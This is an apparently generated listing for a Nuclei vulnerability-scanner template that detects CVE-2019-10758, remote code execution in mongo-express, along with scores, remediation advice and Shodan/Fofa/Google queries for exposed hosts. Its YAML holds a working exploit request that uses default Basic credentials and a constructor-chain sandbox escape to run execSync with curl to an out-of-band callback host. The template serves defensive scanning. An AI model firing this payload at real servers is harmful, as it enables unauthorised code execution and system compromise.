CVE-2019-10758: mongo-express Remote Code Execution
- Template: CVE-2019-10758
- Name: mongo-express Remote Code Execution
- Description: mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
- Remediation: Upgrade mongo-express to version 0.54.0 or higher.
- Severity: critical
- Authors: princechaddha
- Tags: cve, cve2019, vulhub, mongo, mongo-express, kev, mongo-express_project, node.js, vkev, vuln
- References: https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758, https://nvd.nist.gov/vuln/detail/CVE-2019-10758, https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215, https://github.com/CLincat/vulcat, https://github.com/MelanyRoob/Goby
- Cves: CVE-2019-10758
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2019/CVE-2019-10758.yaml
- Digest: 4a0a00473045022100cfc94838da5ddf0121b1c2ca0d90c4ede19683b035b1217584b8d5e534c3a5e50220024bd205aa9fd3ae9cbd8acc99ce39cd92946bc37a0981788b5ea95e5df450a3
- Created at: 2022-02-12T11:44:47Z
- Updated at: 2026-11-19T02:03:50Z
- Age in days: 1746
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-10758.yaml
- Checked, none or zero: verified
Classification
- Cvss score: 9.9
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Epss score: 0.84726
- Epss percentile: 0.99714
- Cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
- Checked, none or zero: cwe
Metadata
- Fofa-query: title="mongo express"
- Framework: node.js
- Google-query: intitle:"mongo express"
- Max-request: 1
- Product: mongo-express
- Shodan-query: http.title:"Mongo Express", http.title:"mongo express"
- Vendor: mongo-express_project
Products
| Product | Indexed | Url |
|---|---|---|
| mongo-express_project:mongo-express | yes | /v1/products/mongo-express_project/mongo-express |
Labels
- Name: mongo-express - Remote Code Execution
- Impact: Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
- Remediation: Update to version 0.54.0 or later.
- Vulnerability type: insecure_deserialization
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2019-10758
- Not known: requirements
```yaml
id: CVE-2019-10758
info:
name: mongo-express Remote Code Execution
author: princechaddha
severity: critical
description: mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: Upgrade mongo-express to version 0.54.0 or higher.
reference:
- https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
- https://nvd.nist.gov/vuln/detail/CVE-2019-10758
- https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215
- https://github.com/CLincat/vulcat
- https://github.com/MelanyRoob/Goby
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2019-10758
epss-score: 0.84726
epss-percentile: 0.99714
cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: mongo-express_project
product: mongo-express
framework: node.js
shodan-query:
- http.title:"Mongo Express"
- http.title:"mongo express"
fofa-query: title="mongo express"
google-query: intitle:"mongo express"
tags: cve,cve2019,vulhub,mongo,mongo-express,kev,mongo-express_project,node.js,vkev,vuln
http:
- raw:
- |
POST /checkValid HTTP/1.1
Host: {{Hostname}}
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl {{interactsh-url}}")
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
digest: 4a0a00473045022100cfc94838da5ddf0121b1c2ca0d90c4ede19683b035b1217584b8d5e534c3a5e50220024bd205aa9fd3ae9cbd8acc99ce39cd92946bc37a0981788b5ea95e5df450a3:922c64590222798bb761d5b6d8e72950
```